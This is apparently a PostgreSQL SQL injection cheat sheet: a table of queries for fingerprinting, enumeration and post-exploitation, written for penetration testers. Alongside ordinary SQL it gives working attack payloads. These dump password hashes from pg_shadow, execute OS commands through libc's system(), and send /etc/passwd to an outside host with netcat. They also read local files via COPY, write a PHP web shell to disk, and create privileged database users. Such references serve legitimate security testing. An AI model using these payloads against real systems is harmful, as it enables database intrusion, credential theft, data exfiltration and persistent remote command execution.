Version
| SELECT version() |
| Comments | SELECT 1; --comment
SELECT /*comment*/1;
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Current User
| SELECT user;
SELECT current_user;
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();
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| List Users | SELECT usename FROM pg_user
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List Password Hashes
| SELECT usename, passwd FROM pg_shadow -- priv |
| List Privileges | SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user |
| List DBA Accounts | SELECT usename FROM pg_user WHERE usesuper IS TRUE |
| Current Database | SELECT current_database() |
| List Databases | SELECT datname FROM pg_database |
List Columns
| SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public') |
| List Tables | SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN ('r','') AND n.nspname NOT IN ('pg_catalog', 'pg_toast') AND pg_catalog.pg_table_is_visible(c.oid) |
| Find Tables From Column Name | If you want to list all the table names that contain a column LIKE '%password%': SELECT DISTINCT relname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public') AND attname LIKE '%password%'; |
| Select Nth Row | SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0; -- rows numbered from 0
SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 1;
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Select Nth Char
| SELECT substr('abcd', 3, 1); -- returns c
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Bitwise AND
| SELECT 6 & 2; -- returns 2
SELECT 6 & 1; --returns 0
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ASCII Value -> Char | SELECT chr(65);
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| Char -> ASCII Value | SELECT ascii('A');
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| Casting | SELECT CAST(1 as varchar);
SELECT CAST('1' as int);
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| String Concatenation | SELECT 'A' || 'B'; -- returnsAB |
If Statement | IF statements only seem valid inside functions, so aren't much use for SQL injection. See CASE statement instead. |
| Case Statement | SELECT CASE WHEN (1=1) THEN 'A' ELSE 'B' END; -- returns A
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Avoiding Quotes
| SELECT CHR(65)||CHR(66); -- returns AB
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Time Delay
| SELECT pg_sleep(10); -- postgres 8.2+ only
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| Make DNS Requests | Generally not possible in postgres. However if contrib/dblink is installed (it isn't by default) it can be used to resolve hostnames (assuming you have DBA rights): SELECT * FROM dblink('host=put.your.hostname.here user=someuser dbname=somedb', 'SELECT version()') RETURNS (result TEXT);Alternatively, if you have DBA rights you could run an OS-level command (see below) to resolve hostnames, e.g. "ping pentestmonkey.net". |
| Command Execution | CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT; -- priv SELECT system('cat /etc/passwd | nc 10.0.0.1 8080'); -- priv, commands run as postgres/pgsql OS-level user |
Local File Access
| CREATE TABLE mydata(t text);
COPY mydata FROM '/etc/passwd'; -- priv, can read files which are readable by postgres OS-level user
...' UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 1; -- get data back one row at a time
...' UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 2; -- get data back one row at a time ...
DROP TABLE mytest mytest; Write to a file: CREATE TABLE mytable (mycol text);
INSERT INTO mytable(mycol) VALUES ('<? pasthru($_GET[cmd]); ?>');
COPY mytable (mycol) TO '/tmp/test.php'; --priv, write files as postgres OS-level user. Generally you won't be able to write to the web root, but it's always work a try. |
| Hostname, IP Address | SELECT inet_server_addr(); -- returns db server IP address (or null if using local connection)
SELECT inet_server_port(); -- returns db server IP address (or null if using local connection)
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Create Users
| CREATE USER test1 PASSWORD 'pass1'; -- priv
CREATE USER test1 PASSWORD 'pass1' CREATEUSER; -- priv, grant some privs at the same time
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Drop Users
| DROP USER test1; -- priv
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Make User DBA
| ALTER USER test1 CREATEUSER CREATEDB; -- priv
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Location of DB files
| SELECT current_setting('data_directory'); -- priv
SELECT current_setting('hba_file'); -- priv
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